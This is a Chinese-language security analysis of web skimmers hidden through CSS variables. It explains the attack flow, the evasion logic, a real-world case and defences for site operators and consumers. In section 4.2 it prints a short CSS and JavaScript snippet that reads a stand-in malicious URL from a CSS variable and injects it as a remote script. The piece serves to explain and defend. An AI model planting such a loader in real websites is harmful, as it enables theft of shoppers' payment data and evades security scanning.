隐藏在网站CSS中的窃密脚本
字数 1294 2025-08-15 21:33:08
隐藏在CSS中的Web Skimmer攻击技术分析
1. Web Skimmer概述
Web Skimmer(也称为Magecart脚本)是一种专门用于窃取在线支付信息(如信用卡数据)的恶意代码。攻击者通过各种方式将这些脚本植入电子商务网站,以窃取用户在结账页面输入的敏感信息。
2. CSS文件作为攻击载体
传统上,Web Skimmer通常隐藏在以下位置:
- 网站Logo
- 缩略图标
- 内部图像
- 实时聊天窗口
- 社交媒体分享按钮
- 热门JavaScript库
新发现:攻击者开始利用CSS文件作为Web Skimmer的隐藏载体。
3. CSS文件特性
CSS(层叠样式表)文件用于定义网页元素的样式,包含:
- 颜色定义
- 文本大小设置
- 元素间距和填充
- 字体设置
现代CSS已发展出强大功能:
- 支持创建复杂动画
- 引入CSS变量功能(可存储需要复用的内容)
4. 攻击技术细节
4.1 攻击流程
- 获取访问权限:攻击者首先获得目标在线商店的访问权限
- 修改文件:同时修改网站的CSS和JavaScript文件
- CSS变量注入:在CSS文件中添加存储恶意URL的CSS变量
- JavaScript调用:通过看似无害的JavaScript代码调用CSS变量中的URL
4.2 技术实现
CSS部分:
:root {
--malicious-url: "https://malicious-domain.com/skimmer.js";
}
JavaScript部分:
var style = getComputedStyle(document.documentElement);
var skimmerUrl = style.getPropertyValue('--malicious-url').trim();
var script = document.createElement('script');
script.src = skimmerUrl;
document.head.appendChild(script);
4.3 规避检测机制
这种技术能有效规避安全检测的原因:
- 扫描范围限制:大多数安全工具只扫描JavaScript代码,忽略CSS文件
- 静态分析局限:安全工具通常只进行静态代码分析,不实际执行JavaScript
- 动态加载:恶意代码是运行时动态加载的,不在初始扫描范围内
- 避免干扰:这种技术不会影响网站正常功能(如购物车、分析平台)
5. 攻击实例分析
SanSec公司发现的实例特征:
- 包含标准键盘记录功能
- 基础设施自2020年9月已开始运作
- 之前已进行过十多次传统攻击
- CSS文件可能是攻击者测试新技术的实验
6. 服务器端Skimming
值得注意的是:
- 65%的Skimming攻击发生在服务器端
- 恶意代码隐藏在:
- 数据库
- PHP代码
- Linux系统进程
- 这些攻击在客户端无法直接观察到
7. 防御建议
7.1 对网站运营者的建议
-
全面安全扫描:
- 不仅扫描JavaScript,也要扫描CSS文件
- 实施动态代码分析而不仅是静态扫描
-
文件完整性监控:
- 监控核心CSS和JS文件的变更
- 实施版本控制和变更审计
-
服务器安全:
- 加强服务器访问控制
- 定期检查数据库和系统进程
7.2 对消费者的保护措施
-
使用虚拟支付卡:
- 一次性使用的虚拟卡
- 设置固定金额和有限有效期
-
浏览器安全扩展:
- 使用可检测异常脚本行为的浏览器扩展
-
警惕异常行为:
- 注意结账页面的异常加载项
- 检查网站安全证书
8. 总结
这种利用CSS变量隐藏Web Skimmer的技术代表了攻击方法的演进,展示了攻击者如何利用现代Web技术的新特性绕过安全检测。虽然技术新颖,但实际威胁与传统的服务器端Skimming相比仍较小。防御需要从客户端和服务器端同时入手,采用多层次的安全策略。